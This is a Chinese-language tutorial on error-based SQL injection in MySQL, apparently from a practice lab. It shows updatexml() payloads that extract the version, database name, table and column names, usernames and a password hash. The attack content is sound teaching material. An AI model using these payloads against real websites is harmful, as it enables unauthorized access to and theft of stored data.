基于函数报错的信息获取
基于函数报错的信息获取
技巧思路
在 MYSQL 中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
select/insert/update/delete都可以使用报错来获取信息
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
三个常用的用来报错的函数
- updatexml():
函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数 - extractvalue():
函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数 - floor():
MYSQL 中用来取整的函数。
以 updatexml()为例
基本原理
- Updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值
- 语法:UPDATEXML(xml_document, XPathstring, new_value)
- 第一个参数:fiedname 是 String 格式,为表中的字段名
- 第二个参数:XPathstring(Xpath 格式的字符串)。
- 第三个参数:new_value,String 格式,替换查找到的符合条件的
- Xpath 定位必须是有效的,否则则会发生错误
- XPathstring 的内容如果是一个表达式,那么会先执行表达式,再把结果作为报错的内容输出
Select 下报错的利用演示
以字符型注入为例,查看数据库的版本 version
# payload:
kobe' and updatexml(1,version(),0)#
输入 payload,返回信息:
XPATH syntax error: '.26'
数据库的版本应该是 5.7.26,没有输出完整的版本号
需要进行一点小小的处理
# payload:
kobe' and updatexml(1,concat(0x7e,version()),0)#
输入 payload,返回信息:
XPATH syntax error: '~5.7.26'
这次输出了完整的版本号
对比两次 payload,多了一个 concat 函数
concat函数的作用:将多个字符串拼接成一个字符串,并作为结果返回
在 ASCII 编码中,0x7e 代表波浪号~字符
0x7e 在这里的作用是与版本号拼接,从而使用 concat 函数输出完整的版本号,所以其他的字符都是可以的(比如 0x7d 是}字符,可以去看看 ascii 编码表)
在以上 payload 中,version()作为一个表达式被执行并且输出了结果,因此我们可以尝试一下其他的表达式,比如:
# payload:
kobe' and updatexml(1,concat(0x7e,database()),0)#
# 返回数据库名:XPATH syntax error: '~root'
kobe' and updatexml(1,concat(0x7e,user()),0)#
# 返回结果用户名:XPATH syntax error: '~root@localhost'
或者我们可以再进一步尝试:
# payload:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='root')),0)#
输入 payload,返回信息:
Subquery returns more than 1 row
# 执行的表达式:
select table_name from information_schema.tables where table_schema='root'
这个表达式是查询 root 数据库中的所有表名,但是报错信息表示只能输出一条数据,因此我们需要修改一下表达式:
# payload:
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='root' limit 0,1)),0)#
输入 payload,返回信息:
XPATH syntax error: '~httpinfo'
我们在 payload 中添加了limit 0,1,表示从 0 位置开始取一条数据,因此输出了第一个表名httpinfo
改成limit 1,1,输出第二个表名,以此类推,可以输出所有表名
OK 了老铁们,到这里就很清楚了,参考通过information_schema拿下数据库案例演示.md,我们替换表达式就能得到想要的数据了
进一步演示
# 获取表名
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='root' limit 0,1)),0)#
# 返回结果:XPATH syntax error: '~httpinfo'
# 获取列名
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
# 返回结果:XPATH syntax error: '~USER'
# 获取数据
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
# 返回结果:XPATH syntax error: '~admin'
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
# 返回结果:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883'